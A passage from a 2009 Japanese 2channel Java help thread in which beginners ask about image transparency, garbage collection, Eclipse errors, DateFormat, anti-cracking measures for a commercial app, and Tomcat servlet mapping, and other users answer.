1.BufferedImage.TYPE_4BYTE_ABGR でアルファ値入りのイメージとして作る。

2.透過色にする予定の色を探して、アルファ値をセットする。
for (int x=0; x<fwd.getWidth(); x++) {
  for (int y=0; y<fwd.getHeight(); y++) {
    if (fwd.getRGB(x, y)==c.getRGB()) fwd.setRGB(x, y, 0);
  }
}

なんでアルファ値を書き込めるようにしなかったのかなぁ???

238 :デフォルトの名無しさん:2009/04/21(火) 00:30:12
アルファブレンディングはJava2Dでやる。
javadocから辿れるJava2Dのマニュアルにやり方が書いてあったはず。

239 :デフォルトの名無しさん:2009/04/21(火) 00:35:10
オラクルやっちまったなぁ

240 :223:2009/04/21(火) 00:35:45
>>234-237
おお、お手数かけました、ありがとうございます。
fwd.setRGB(x, y, 0); ですか、やってみます。

>なんでアルファ値を〜
そうですよね。

>>238
Java2Dですか。


241 :デフォルトの名無しさん:2009/04/21(火) 00:39:16
MySQLは結局Oracle入りか

242 :デフォルトの名無しさん:2009/04/21(火) 00:40:55
GCがはしっているとき、JavaVMで動いているプロセスの処理はとまっているのでしょうか?



243 :デフォルトの名無しさん:2009/04/21(火) 00:43:02
stop the worldな実装てまだあったけ?

244 :デフォルトの名無しさん:2009/04/21(火) 00:45:19
どなたか・・・>>236

245 :デフォルトの名無しさん:2009/04/21(火) 00:45:59
現行のSun JVMってフルGCは全部stop-the-worldじゃないの?
G1GCってその回避のためにあるのだと思ってたんだけど。

246 :デフォルトの名無しさん:2009/04/21(火) 00:51:45
>>244
JList...使ったこと無くて。すまんなー

247 :デフォルトの名無しさん:2009/04/21(火) 00:53:14
>>245
>フルGC
まあそうなんだけどさ。
昔は全部stop the worldだったけど今は並列マーク&スイープとかあるからさ。
これのときstop the worldじゃなかったような気がして。

>>244
俺はどこだったかをオーバーライドした

248 :デフォルトの名無しさん:2009/04/21(火) 00:53:29
スイングスレがあるのでそっちで聞いてみます

249 :デフォルトの名無しさん:2009/04/21(火) 01:06:28
催促しといてそれか

250 :デフォルトの名無しさん:2009/04/21(火) 01:44:46
明解javaでjavaを勉強しているのですがあまり評価が良くないのですが、
違う本で勉強したほうがいいですか?
自分的に入門書には丁度良いと思うのですが。

251 :デフォルトの名無しさん:2009/04/21(火) 01:50:43
本の向き不向きは人それぞれ。

252 :デフォルトの名無しさん:2009/04/21(火) 02:03:00
>>250
丁度良いと思えてるんだから浮気せずまずは一冊終えてみろ

253 :1/2:2009/04/21(火) 03:42:03
すいません、大学の課題なのですが、宿題スレに質問出来ないほどの初心者なので
こちらで聞かせていただきます。

Javaは最新ver、
Eclipseのガニメデ、GUI Editorを使用してパネルを作る作業なのですが、
教科書を進めていきますと「独自のパネルコンポーネント MyPanelの定義」という章で、

⇒プロジェクトとパッケージを製作(プロジェクト名を[A]、パッケージを[a]という名前にします。何でもいいみたいですが)
⇒パッケージエクスプローラーにあるパッケージをクリックして新規→クラス作成
⇒クラス名はMyPanel(任意の名前)、スーパークラスをjavax.swing.JPanelにして終了ボタンを押すとクラス定義編集画面が出る。
⇒NewJFrame.java画面に戻ってフレーム上で右クリック→Add Custom→Add custom class・・・を選択
⇒クラス選択画面が出てくるので、そこでMyPanelとクラス名を入力すると、「一致する項目」欄に作成したMyPanelクラスが出るので選択してOK

254 :2/2:2009/04/21(火) 03:43:23
ここまで進めるとフレーム上にmyPanel1が貼り付けられるはずなのですが、

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ○ クラスが見つかりません                                       |×|┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃    /\      Unabel to find class                                  ┃
┃  / ┃ \        a.MyPanel                                   . ┃
┃ /    ・   \   Check that it exists in this project and that it has been built (press      ┃
┃  ̄ ̄ ̄ ̄ ̄ ̄   Ctrl+B to build)                                  .   ┃
┃                                                     [ O K ] ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

このウィンドウが出てmyPanel1が貼られません。Ctrl+Bを押しても意味がわかりませんし、
なぜ先ほど作ったはずのクラスが見つからないのかもう色々とちんぷんかんぷんです。
「お前みたいなレベルでJavaやるなカス」と聞こえてきそうな気がしますが、どなたか教えてくださいませorz

255 :デフォルトの名無しさん:2009/04/21(火) 03:48:21
MyPanel クラスを作る時にパッケージ名を a と指定してるか?

256 :デフォルトの名無しさん:2009/04/21(火) 03:55:33
あ、あの、よくわからないんですが1から作り直したら出来てしまいました・・・申し訳ないです。
せっかく起きていらっしゃるようなのでお聞きしたいのですが、

>>1
>JavaScript, Ajaxの質問は、ここでは受け付けていません。
↑自分の質問はJavaScriptの質問だったのでしょうか?
先ほどEclipseスレを発見しまして、見てなんとかわかるレベルだったのですが、
こっちのスレはもうどこもかしこも頭爆発しそうで、まるで異次元の世界にいるみたいです。
もしスレ違い質問してたなら本当に申し訳ないですorz

257 :デフォルトの名無しさん:2009/04/21(火) 11:00:20
OracleがSunを買収したぜ
>>254
AA細かすぎてワロタ


258 :デフォルトの名無しさん:2009/04/21(火) 12:45:53
>>256
あなた誰?
「自分の質問」なんて書かれても、
ここは ID もつかない板だから、なんとも言えないと思うよ

259 :デフォルトの名無しさん:2009/04/21(火) 12:55:29
OracleがSunを買収。

さあSunの次なる一手は?

今後のJavaはどうなる?

260 :デフォルトの名無しさん:2009/04/21(火) 12:58:33
何も変わらんと思う。
強いて言えば相対的に仕様に対する IBM その他の影響力が強まるくらいだが
JCP にレイプされてる現状からすればあまり変わらない。

261 :デフォルトの名無しさん:2009/04/21(火) 13:06:36
JavaDBがApache DerbyにとってかわってOracleになるとか
JDBCがOracle寄りになるとかJavaの文法にOracleライクな文法が入るとか

262 :デフォルトの名無しさん:2009/04/21(火) 13:47:11
(+)が入ってくれたら楽になるなぁw
いやがる人間の方が多いのはわかってるんだがw
SQLの話じゃないか

263 :デフォルトの名無しさん:2009/04/21(火) 13:57:14
Pro CみたいなPro Jでも作るんじゃね

264 :デフォルトの名無しさん:2009/04/21(火) 14:43:14
>>254
お前みたいなカスがJavaやるな

265 :デフォルトの名無しさん:2009/04/21(火) 15:06:31
ちと質問。会社で「Javaのアプリケーションをリリースするんだが、
クラックされないように色々やってくれ」的なことを言われました。

原理的に完全な対策は不可能だとは思うけど、可能な範囲でやるとしたら
どんなことをやればいいでしょう? コードの難読化とか?
なんかヒントか用語を挙げてくれるだけで助かります。

シリアルとかでググっても、シリアルを突破するサイトしか見つからないし。

266 :デフォルトの名無しさん:2009/04/21(火) 15:14:15
XLsoft エクセルソフト : Excelsior JET,Java アプリ高速化, Java 保護, Java ネイティブ コンパイラ, Java EXE 変換, Java DLL 変換, JRE 不要, ホーム
http://www.xlsoft.com/jp/products/jet/index.html?gclid=CKCRrd6ogZoCFRMupAodfRKdFw

これでも使ってみたらいいんじゃね

267 :265:2009/04/21(火) 15:19:05
ありがとうございます。それ、既にググって読んでます。要するに難読化ですね…。

一般的なアプリってシリアルコードを入れますよね。
あれってどんなアルゴリズムなんですかね?
シリアルコードをハードコーディングで持っているわけじゃないとすれば、何らかの数値計算
で算出しているのかな。


268 :デフォルトの名無しさん:2009/04/21(火) 15:19:56
Java EXE化 こんなもんあるのか

269 :デフォルトの名無しさん:2009/04/21(火) 15:20:02
ネィティブじゃん難読化ツールのほうがよくね?
あと鯖に置いてダウソ不可能にするとか


270 :265:2009/04/21(火) 15:25:40
>>269
逆コンパイルの難しさは
 ネイティブ>Java
だと思っているんですが、違うのかな?
だからJava難読化ツールより、ネイティブの方が良いのかと。
・・・一概に言えない問題かいな。

鯖に置くのは、仕様の問題でNGっす・・・。

271 :デフォルトの名無しさん:2009/04/21(火) 15:34:01
>>265
・クラスファイルを難読化ツールに通す。
・ユーザ登録 & ネットワーク認証。
・ドングルのようなハード的な何か。
・身分証明書のコピーや印鑑付き同意書を提出。

272 :265:2009/04/21(火) 15:40:48
>>271
ありがたい! そーか、ドングルって手もあるな・・・。
本当にやるかどうかはともかく、手法の紹介は嬉しいです。

んでネットワーク認証がちと気になるんですが・・・。
 1.ネットワークでアクセスしてアクティベートする
 2.ソフトが使えるようになる。
これはいいとして、この「ソフトが使えるようになるフラグ」って、どこに配置して
どうやってクラックから守ればいいのでしょう?

273 :デフォルトの名無しさん:2009/04/21(火) 15:44:51
>>270
ネイティブにするとJavaの特性を失い、なおかつセキュリティホールを生む恐れあり。

274 :265:2009/04/21(火) 15:50:14
>>273
・・・なるほど。

275 :デフォルトの名無しさん:2009/04/21(火) 16:07:57
>>272
1. 配布ごとのシリアル番号 S と適当に生成した乱数 A をひも付ける。
2. S と A から SHA などの不可逆ハッシュを使って値 X を生成。
3. S と X をソフトウェアにハードコード & コンパイル & バンドルして配布。
4. ユーザ登録時に A をローカルへ配布する。
5. ソフトウェアは S と A から生成した値が X と等しいことで認証されていることを確認。

昔、ソフト配布時のシリアル機構を妄想した時に思いついた一番単純な方法。
もちろんバイナリハックにまでは対応しきれないが、まぁ S と X から A を推測する事は
実質的に不可能だし。

276 :デフォルトの名無しさん:2009/04/21(火) 16:18:50
こんなこと聞いてるやつの作ったプログラムがそこまでガードするほどの出来とは思えないんだが

277 :265:2009/04/21(火) 16:32:23
>>275
そーか、一般的な公開鍵方式と同じアルゴリズムでやればいいんですね。
ありがとうございます。バイナリハックは防ぎようが無いけど、出来ることは
やったって感じでしょうね。

>>276
う。
ま、まあ、仕事で指示されたからやってるわけで(笑)。

278 :デフォルトの名無しさん:2009/04/21(火) 16:56:08
>>277
いいかげん嘘つくの止めたら?
君のスキルじゃハックなんか到底出来ないから

279 :デフォルトの名無しさん:2009/04/21(火) 17:02:27
クラック防止策を練ることをハックとは言わない。

280 :265:2009/04/21(火) 17:15:02
>>278
あ、なるほど。私がクラッカーで、そのためのハック手法を遠回しに聞きだそうとしている、
と誤解されてるんですね。

これ以上私が発言すると荒れちゃいそうなので、去ります。
親切に色んな情報を教えてくれた方々、ありがとうございました!

281 :デフォルトの名無しさん:2009/04/21(火) 17:38:34
>>280
いいかげ見え透いた嘘つくの止めたら?
そんなこといつまでもやってると何かあったときに誰も助けてくれないよ。

282 :デフォルトの名無しさん:2009/04/21(火) 18:16:07
SimpleDateFormat lovedate =
new SimpleDateFormat("yyyy年MM月dd日 HH時mm分ss秒");
String happydate = lovedate.format(new Date());
System.out.println(happydate);

SimpleDateFormatクラスのlovedateにオブジェクトの参照を入れて、
SimpleDateFormatクラスのformatメソッドを使って現在の日付時間を取得して、
Stringクラスのhappydateにオブジェクトの参照を入れていると思うのですけど、
どうしてStringクラスで受けているんでしょうか。
formatメソッドの戻り値はStringBufferであるとAPIを見ると書いてあるのですが、
どういう経緯で、lovedate.format(new Date()がString型に変貌したのでしょうか?

283 :デフォルトの名無しさん:2009/04/21(火) 18:18:23

import com.sun.star.uno.UnoRuntime;
とかを全部
import com.oracle.star.uno.UnoRuntime;

書き換える必要はあるのでしょうか??


284 :デフォルトの名無しさん:2009/04/21(火) 18:32:23
>>282

引数が違う。
そこで使われているのは
StringBuffer DateFormat#format(Date date,
StringBuffer toAppendTo,
FieldPosition fieldPosition)
を実装したほうではなく
String DateFormat#format(Date)
のほう。


285 :デフォルトの名無しさん:2009/04/21(火) 18:50:45
>>284
>String DateFormat#format(Date)
DateFormatというのが見つからないのですけど。

286 :デフォルトの名無しさん:2009/04/21(火) 18:52:02
285です。
http://java.sun.com/javase/ja/6/docs/ja/api/
APIって↑でいいんですよね?

287 :デフォルトの名無しさん:2009/04/21(火) 18:58:42
>>286

そこまで行けたらブラウザ上でCtrl-Fとかで検索もできるはずだけどなー。
http://java.sun.com/javase/ja/6/docs/ja/api/java/text/DateFormat.html

SimpleDateFormatの説明からも、冒頭の継承ツリーやクラス java.text.DateFormatから継承されたメソッドのところを見ればよい。

とりあえず、メソッドを探すときは、継承を遡ってみることも必要だ。


288 :デフォルトの名無しさん:2009/04/21(火) 19:07:35
>>287
ありました。フィールドのほうをを見ていました。
すっきり理解できました。ありがとうございました。

289 :デフォルトの名無しさん:2009/04/21(火) 20:08:11
オレ、APIを解説して欲しいよ・・あれ不親切だよなぁ

やりたいことあるのに、APIで探すのに時間がかかりすぎる

290 :デフォルトの名無しさん:2009/04/21(火) 20:15:31
>>289
たまにこのAPIがなにを意味するのかわからず困惑することがあるよな、Javadocは。
まあ検索すれば使い方が出てくることがあるんだけど。
Javadoc見ただけではコレどうやって使うの? っていうのが多い。
初めてJavadocみたときはまさにそうだった。抽象メソッドとか。

291 :デフォルトの名無しさん:2009/04/21(火) 20:47:17
抽象メソッドは自分の必要な抽象クラスを実装して使うもんだろ。
それは使い方がわからないんじゃなくて設計手法を知らないんじゃないか?

292 :デフォルトの名無しさん:2009/04/21(火) 20:49:28
SPI で実装されるものも多いが。
煽るだけなら他行けよ。

293 :デフォルトの名無しさん:2009/04/21(火) 21:17:54
SPIってすーじーぷらぐいんですか?

294 :デフォルトの名無しさん:2009/04/21(火) 21:34:27
>>291
当時は初心者だったからわからんかったんだよ。
抽象メソッドに書いてある説明を読んでもどうやって「実装」すればいいか
わからず当時は困惑した。
あとからデザインパターンの勉強して初めて使い方を知ったくらいだ。

今でもわかりづらいものといえば、Channel、NIO、AtomicIntegerとか。

295 :デフォルトの名無しさん:2009/04/21(火) 21:38:14
今の段階は、
明解Java→解きながら学ぶ→Cのさまざまなアルゴリズム(家にあった)→・・・

で何か自動化するものを作ろうとしたが・・・API見て意味が分からなかった。

どこから何をimportすればいいのか、、が分からん。
これは「慣れ」なのか

とりあえず、java.langとjava.awtは読んでるけど・・・

296 :デフォルトの名無しさん:2009/04/21(火) 22:44:17
import *;

297 :デフォルトの名無しさん:2009/04/21(火) 23:01:55
抽象クラス・抽象メソッドくらいのものならググる。
AWTやSwingなどのツールキット・フレームワークが分からないなら本。
こんなとこだろ。

298 :デフォルトの名無しさん:2009/04/21(火) 23:11:40
JAVAってC言語みたいに単独のアプリケーションを作ることはできますか?

299 :デフォルトの名無しさん:2009/04/21(火) 23:24:23
JAVAは何でも出来る

300 :デフォルトの名無しさん:2009/04/21(火) 23:26:37
java.util.EventListenerって、実装しておくと何かいいことあるん?
複数あるコールバックメソッドのシグネチャがそれぞれ違うんで、
java.util.EventObject を使うのが難しいのだけど
それでも EventListener を実装して意味あるん?

301 :デフォルトの名無しさん:2009/04/21(火) 23:50:18
>>299
ネイティブコードのexeを吐くにはどうすれば

302 :デフォルトの名無しさん:2009/04/22(水) 00:02:00
>>301
JavaでCコンパイラを作れ

303 :デフォルトの名無しさん:2009/04/22(水) 00:38:02
コントローラクラスでトランザクション制御するのってどういうとき?

304 :デフォルトの名無しさん:2009/04/22(水) 03:03:50
例外をチェーンするときって、
祖先クラスのThrowableのメッセージなしのコンストラクタへ委譲する場合
ラップされる例外の toString メソッドが使われるけど(デフォルトで 「クラス名」+「メッセージ」)、
複数チェーンすると、クラス名が延々と並んで、メッセージが分かりにくく醜くなるんだけど、
普通はどうするのかな。

常に、ラップされる例外のメッセージをそのまま、あるいは装飾などして
ラップする例外のメッセージに明示的に指定するの?

305 :デフォルトの名無しさん:2009/04/22(水) 03:28:32
initCause?


306 :デフォルトの名無しさん:2009/04/22(水) 04:17:10
javadoc見ても閃かない事は多いね。
サンプル集やレシピ集的な例示のほうがありがたいと思う。
まあクラス設計するエンジニアが一番嫌がる仕事だろうけどwww
エンジニアのドキュメント作成能力の無さが、クラス再利用を妨げてる気がする。

307 :デフォルトの名無しさん:2009/04/22(水) 05:57:59
CodeReadingだよ。ひらめくのは。
オープンソースのソースコードを大量に読んで初めてひらめく。

あとは実際にアプリケーションを弄ってみて閃く。

308 :デフォルトの名無しさん:2009/04/22(水) 08:28:32
>>304
一般的に、同じコンテキストでも例外が伝達されるレイヤーごとに詳述的→要件的と意味が
変わるので、そのレイヤーごとの適切なメッセージを付けてゆく。例えば最深階層で「該当
レコードがありません」はより上位で「ユーザ名またはパスワードが違います」という意味を
持つかもしれない。

throws 宣言の制約で例外を置き換えなければいけない場合も多いが、それは単に仕組み上の
ものと割り切る。中間層で取り除いても良いけど、例外メッセージやスタックトレースなんて
技術屋が見るものなので読みやすさはあまり考慮しなくて良い。読みやすさのために
情報を削るのは逆に問題分析時に分析者を惑わす。

309 :デフォルトの名無しさん:2009/04/22(水) 08:50:13
>>303
トランザクションを別にしなきゃならない処理を行う時。

310 :デフォルトの名無しさん:2009/04/22(水) 09:43:58
トランザクションとかマルチスレッドとかってのは
結城浩のデザインパターン[マルチスレッド編]本でも読めばわかるんだろうか?

311 :ちんこ ◆GbXlaaQNk. :2009/04/22(水) 09:54:15
Jythonを使ってJavaのユニットテストを書きたいと思っています。
しかし問題は、その場合、Javaのpublicメソッドしかテスト出来ないということです。
package privateやprivateのメソッドもテストしたいという思いです。
なので、
リフレクションを使って最初にpublicメソッドが存在するかどうかを調べて、
なければリフレクションを使ってprivateのメソッドを叩くというテスティングフレームワークを作りたいのですが、難しいですか?

312 :デフォルトの名無しさん:2009/04/22(水) 12:32:55
class Lunchtime {
public static void main (String[] args) {
Lunchtime Obj30 = new Lunchtime();
Obj30.methodA(); } //<-- ココ1

void methodA(){
methodB(); } //<-- ココ2

void methodB(){ } }
ココ1ではオブジェクトを通してmethodA()を実行するけど、
ココ2ではオブジェクトを通してないのに、非staticなmethodB()を
実行できるのは、どうしてなんでしょうか。

313 :デフォルトの名無しさん:2009/04/22(水) 13:13:41
methodB();はthis.methodB();の略。
つまりその文脈ではObj30のmethodBを呼んでいる。

314 :デフォルトの名無しさん:2009/04/22(水) 13:39:59
>>313
methodB()は、this.methodB()の略ということは、
Obj30.methodB()と表現するのと同意だと思うんですけど、
Obj30という参照変数はmainメソッド内で宣言されたローカル変数だから、
methodA()メソッドでは使えないので、thisという特殊な表現をするということで、
thisは特に必要ないときは省略可能ということなんでしょうか。
java独学3週間目ですが成長しません。挫折はしません。

315 :デフォルトの名無しさん:2009/04/22(水) 13:45:37
>>314
>Obj30という参照変数はmainメソッド内で宣言されたローカル変数だから、
>methodA()メソッドでは使えないので、
正解

>thisという特殊な表現をするということで、
thisってのは単純に「自分自身」を指す言葉

>thisは特に必要ないときは省略可能ということなんでしょうか。
正解

316 :デフォルトの名無しさん:2009/04/22(水) 13:50:43
>>315
ありがとうございました

317 :デフォルトの名無しさん:2009/04/22(水) 19:25:26
JFileChooser のダブルクリック間隔時間が、Windows のそれと微妙に違う気がします。
エクスプローラを使っている人に JFileChooser を使わせると、
本人はディレクトリをダブルクリックして移動したいのに、
リネームモードになってしまうのをよく見ます。

ダブルクリックの間隔を変更したり、Windowsの設定を取ってきたりできるんでしょうか?

318 :デフォルトの名無しさん:2009/04/22(水) 23:21:24
スクリプト言語でよく使われてる、配列の中にハッシュが入ってるデータ構造を実現するには
ArrayListとHashMapを組み合わせるのが一般的ですか?
それとも新たなオブジェクトを作って、インスタンス変数にまとめ、
それをArrayListに入れていく感じでしょうか


319 :デフォルトの名無しさん:2009/04/22(水) 23:27:07
よーわからんが、同じアクセッサで連想配列とインデックスアクセスを実現したいの?
普通にHashMap<Object,Object>でいいと思うけど。
特に何もせんでもput(1, "abc")とput("key", "abc")が両立できるよ。

320 :sage:2009/04/22(水) 23:30:25
どうしてもわかりません。
どなたか教えてください

package asd.data;

class sub{
public static void main(String args[]){
sub2 cc=new sub2();}
}
class sub2{
sub2(){
System.out.println("submainのsub2");}
}
class sub3{
public static void main(String args[]){
System.out.println("sub3クラス");}
}
-----------------------------------------------------------
import asd.data.*;

class a{
public static void main(String args[]){
sub vv=new sub();
sub2 vv1=new sub2();
sub3 vv2=new sub3(); }
}
このプログラムをjava a で実行させる場合、
どのようにコンバイルしていいか、わかりません

javac -d . asd.data.*.java a.java と、コンバイルしたら
エラー出てしまいました。

321 :デフォルトの名無しさん:2009/04/23(木) 00:03:26
実行されるアプリケーションそれ自体のパスを返す方法ってあるんでしょうか?

例えば、 test.java というファイルが C:\testdir というディレクトリにある場合、
test.java を実行すると "C:\testdir\test.java" というStringが表示される、といったtest.javaを作りたいのですが…

322 :デフォルトの名無しさん:2009/04/23(木) 00:10:04
>>320
そもそもコンバイルする必要はない

323 :デフォルトの名無しさん:2009/04/23(木) 00:21:55
>>319
すみません、ありがとうございます
データ構造は
data[0] ---- key1 => value1
     +- key2 => value2
data[1] ---- key1 => value3
     +- key2 => value4

という感じを想定してました
アクセサからは配列だけにアクセスできるようにしたいです

324 :デフォルトの名無しさん:2009/04/23(木) 00:26:58
>>323
なら「ArrayListとHashMapを組み合わせるのが一般的」だよ。
作りたいアプリケーションによってはLinkedListかも知れんけど、
ArrayListに悪手なしって感じで使っても害はないかと。

325 :デフォルトの名無しさん:2009/04/23(木) 00:33:12
>>324
なるほど、ありがとうございました

326 :デフォルトの名無しさん:2009/04/23(木) 01:16:46
>>320 -d . でオプションの指定は終わってる。
>>322 答えになってないと思ったので、こんなんでいいか、分からないけど。
package asd.data;
class sub{
:::
C:\>javac -d . data.java
---------------------------
package asd.data;
class a{
:::
C:\>javac -d . a.java
---------------------------
C:\>java asd.data.a

327 :326>>320:2009/04/23(木) 04:01:23
javac -d . sub.java
javac -d . sub2.java
javac -d . sub3.java
javac -d . a.java
package asd.data;
import asd.data.sub2;
public class sub{
  public void sub(){
    sub2 cc = new sub2();
} }
package asd.data;
public class sub2{
  public void sub2(){
    System.out.println("submainのsub2");
} }
package asd.data;
public class sub3{
  public void sub3(){
    System.out.println("sub3クラス");
} }
import asd.data.sub;
import asd.data.sub2;
import asd.data.sub3;
class a{
  public static void main(String args[]){
    sub vv = new sub();
    sub2 vv1 = new sub2();
    sub3 vv2 = new sub3();
    vv.sub();
    vv1.sub2();
    vv2.sub3();
} }

328 :デフォルトの名無しさん:2009/04/23(木) 16:35:21
//*** このクラスのstep1メソッドを実行した際に、
class TestClass {
  public void step1(){
    int key = 1;
    Object obj1 = new Object();
    System.out.println("obj1=" + obj1.hashCode());

    InnerClass ic = new InnerClass();
    ic.setKeyValue(key, obj1);
    Object obj2 = ic.getValue(key);
    System.out.println("obj2=" + obj2.hashCode());

    //*** このobj2にnullを代入した際に、同一(?)の参照先であるobj1にも
    //*** 自動的にnullにセットする方法はありますか?
    obj2 = null;
    if(obj1 == null)
      System.out.println("obj1 is null.");
    else
      System.out.println("obj1 is not null.");
  }

  class InnerClass {
    java.util.HashMap map = new java.util.HashMap();
    public void setKeyValue(int key, Object value){
      map.put(key, value);
    }
    public Object getValue(int key){
      return map.get(key);
    }
  }
}

329 :328:2009/04/23(木) 16:40:32
この処理、もっと簡略化できましたね。。。orz

 Object obj1 = new Object();
 Object obj2 = obj1;
 obj2 = null;

こうした際に、明示的に

 obj1 = null:

というコードを書かずとも、
obj1もnullにする方法はありますか?

330 :デフォルトの名無しさん:2009/04/23(木) 16:44:37
>>328
ない。obj1とobj2は別の値だから。

代替として、例えば
Object[] array1 = { new Object() };
Object[] array2 = array1;
みたいに、参照を一段かましてやれば
array1[0] = null; したら array2[0] も null になる。

331 :328:2009/04/23(木) 17:00:18
>>330
なるほど、ありがとうございます。
となると、今実際に実装しているコードだと、
やはりobj1, obj2両方を明示的にnullにセットせざるをえないようです。

勉強になりました。重ねて感謝です。

332 :デフォルトの名無しさん:2009/04/23(木) 17:24:59
ずっと同じもの指してるなら変数1つでいいだろ

333 :デフォルトの名無しさん:2009/04/23(木) 18:55:45
Date date1 = new Date();
long t = date1.getTime() //tに1970年からのミリ秒の時間が入る
Date date2 = new Date(date1.getTime()); <--ココ1
System.out.println(date1);
System.out.println(date2);// 表示されるときは年月日で表示される
System.out.println(t);// 1970年からのミリ秒の時間が表示される
ココ1ではミリ秒単位の時間なのに、date2が参照したときにはか、
表示したときに、年月日で表示されるのは何故なんでしょうか。


334 :デフォルトの名無しさん:2009/04/23(木) 18:59:48
特定のイベント発生時に JNI 側から Java のリスナーへコールバックを行う時、
Java 側でリスナーオブジェクトの参照を切ったら GC の対象になってしまいますか?

335 :デフォルトの名無しさん:2009/04/23(木) 19:07:14
あぱっち はーもにー って日本語化けるな。

336 :デフォルトの名無しさん:2009/04/23(木) 19:08:37
APIには
> Date オブジェクトを次の形式の String に変換します。
> dow mon dd hh:mm:ss zzz yyyy
とある。年月日しか出ていないのは変。

date2内部でもミリ秒単位で持ってるよ。
(getTime()してみればdate1と同じ値が返るはず)

printlnで出てくるのはそのクラスのtoString()メソッドの実装次第。
全部の内部情報を出してくれるとは限らない。




337 :デフォルトの名無しさん:2009/04/23(木) 19:29:05
>>336
DateクラスのtoString()メソッドのところに、
> Date オブジェクトを次の形式の String に変換します。
> dow mon dd hh:mm:ss zzz yyyy
と書かれているのですけど、333のどの部分でtoString()メソッドを
使用しているんでしょうか。

338 :デフォルトの名無しさん:2009/04/23(木) 19:34:56
どう考えても java.sql.Date が使われているっての。

339 :デフォルトの名無しさん:2009/04/23(木) 20:17:27
>>337
printlnは引数がObject型の場合toString()の結果を使う。
>>338にもあるが、java.util.Dateとjava.sql.Dateまざってないか?


340 :デフォルトの名無しさん:2009/04/23(木) 20:28:57
import java.util.*;
class Study123 {
public static void main(String[] args) {
Date date1 = new Date();
long t = date1.getTime();
Date date2 = new Date(date1.getTime());
System.out.println("t = " + t);
System.out.println(date1);
System.out.println(date2); } }
コンソールには、
t = 1240485847671
Thu Apr 23 20:24:07 JST 2009
Thu Apr 23 20:24:07 JST 2009
336さんが言われるように、toString()メソッドが作用しているように
思うんですけど、どこで使用されているのかわからないです。

341 :デフォルトの名無しさん:2009/04/23(木) 20:36:58
>>335
使用感kwsk

342 :デフォルトの名無しさん:2009/04/23(木) 20:51:56
>>340
System.out.println(date1);

PrintWriter#println(Object) は String#valueOf(Object) を呼んでいて、こいつが toString() を呼び出す。
JDK純正のAPIドキュメントに、しっかり書いてあるぞ。
楽しようと思わないで自分で嫁。

343 :デフォルトの名無しさん:2009/04/23(木) 21:01:54
>>342
>PrintWriter#println(Object) は String#valueOf(Object) を呼んでいて
そこは読んだんですけどtoString() を呼び出すというのを探せないです。
該当のjavaプログラムを見てみないと分からないということですか。

344 :デフォルトの名無しさん:2009/04/23(木) 21:06:40
http://java.sun.com/javase/ja/6/docs/ja/api/java/lang/String.html#valueOf(java.lang.Object)

戻り値:
引数が null の場合は、"null" に等しい文字列。そうでない場合は、obj.toString() の値

書いてあるじゃんか。


345 :デフォルトの名無しさん:2009/04/23(木) 21:12:01
>>335
SunのJDKに入ってるcharsets.jarをコピーしてね

346 :デフォルトの名無しさん:2009/04/23(木) 21:14:57
>>344
書いてありました。申し訳ありません。
よくわかりました。ありがとうございました。

347 :デフォルトの名無しさん:2009/04/23(木) 23:00:04
>>341
AWTやSwingの起動が超遅い。VMの起動も遅い。
クラスライブラリの実装カバー率が高いだけ。
流石に10年かけていじってるsunのVMとは出来が違う。

348 :デフォルトの名無しさん:2009/04/24(金) 08:38:08
>>347
VM の速度品質は 1.2 時代ってところか。ありがとう。

349 :デフォルトの名無しさん:2009/04/24(金) 09:20:44
tomcat を起動して
http://www.hellohiro.com/servlet.htm
このページを参考に
D:\apache-tomcat-6.0.18\webapps\examples\WEB-INF\classes

に置いてある HelloWorldExample.class に
http://localhost:8080/examples/servlet/HelloWorldExample

でアクセスしてみると 404 not found となり
上手くいきません…ほかに設定しなければいけない部分が
あるのでしょうか、それとも何か別の部分で引っかかって
いるのでしょうか?問題の切り分けができず躓いてます。

前に Java をやろうと思ったときも確か tomcat が出て
きた辺りで挫折したような…orz

350 :デフォルトの名無しさん:2009/04/24(金) 09:29:21
>>349
サーブレット起動サーブレットって今時はデフォルトじゃ使えないだろ。
/servlet/<サーブレットクラス名> でアクセスさせるような古いサイトは見ない方が良いかも。
WEB-INF¥web.xml に HelloWorldExample クラスが何という URL にマッピングされているか調べれ。
無いなら自分で書け。

351 :デフォルトの名無しさん:2009/04/24(金) 09:48:20
<!-- The mapping for the invoker servlet -->
<!--
<servlet-mapping>
<servlet-name>invoker</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
-->
D:\apache-tomcat-6.0.18\conf下 web.xml 364行目
いけるはずっ!!
致命的:未知のサーブレット名 invoker を指定しています

<servlet>
<servlet-name>invoker</servlet-name>
<servlet-class>
org.apache.catalina.servlets.InvokerServlet
</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
115行目。これでどうよ?
クラス org.apache.catalina.servlets.InvorkerServlet
のサーブレットは特権を与えられているので、このWeb
アプリケーションによってロードできません…

352 :デフォルトの名無しさん:2009/04/24(金) 10:01:17
D:\apache-tomcat-6.0.18\webapps\daily\WEB-INF
下に

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
<servlet>
<servlet-name>HelloWorldExample</servlet-name>
<servlet-class>HelloWorldExample</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>HelloWorldExample</servlet-name>
<url-pattern>/daily/HelloWorldExample</url-pattern>
</servlet-mapping>
</web-app>
web.xml で記述してアクセスするも失敗に終わる…


353 :デフォルトの名無しさん:2009/04/24(金) 10:01:49
>>351
conf¥context.xml で特権を与える。

<Context privileged="true">

何でここまでしないと使えないかは自分でよく考えれ。

354 :デフォルトの名無しさん:2009/04/24(金) 10:13:39

1. url-pattern に /daily を含めないこと
<servlet-mapping>
<servlet-name>HelloWorldExample</servlet-name>
<url-pattern>/servlet/HelloWorldExample</url-pattern>
</servlet-mapping>
2. アクセスするアドレスには /servlet/ を含めること
http://localhost:8080/daily/servlet/HelloWorldExample
3. その実態は 配下の classes ファルダと web.xml によって構成されること
D:\apache-tomcat-6.0.18\webapps\daily\WEB-INF

三点突破。解決。お騒がせしてすみませんでした。
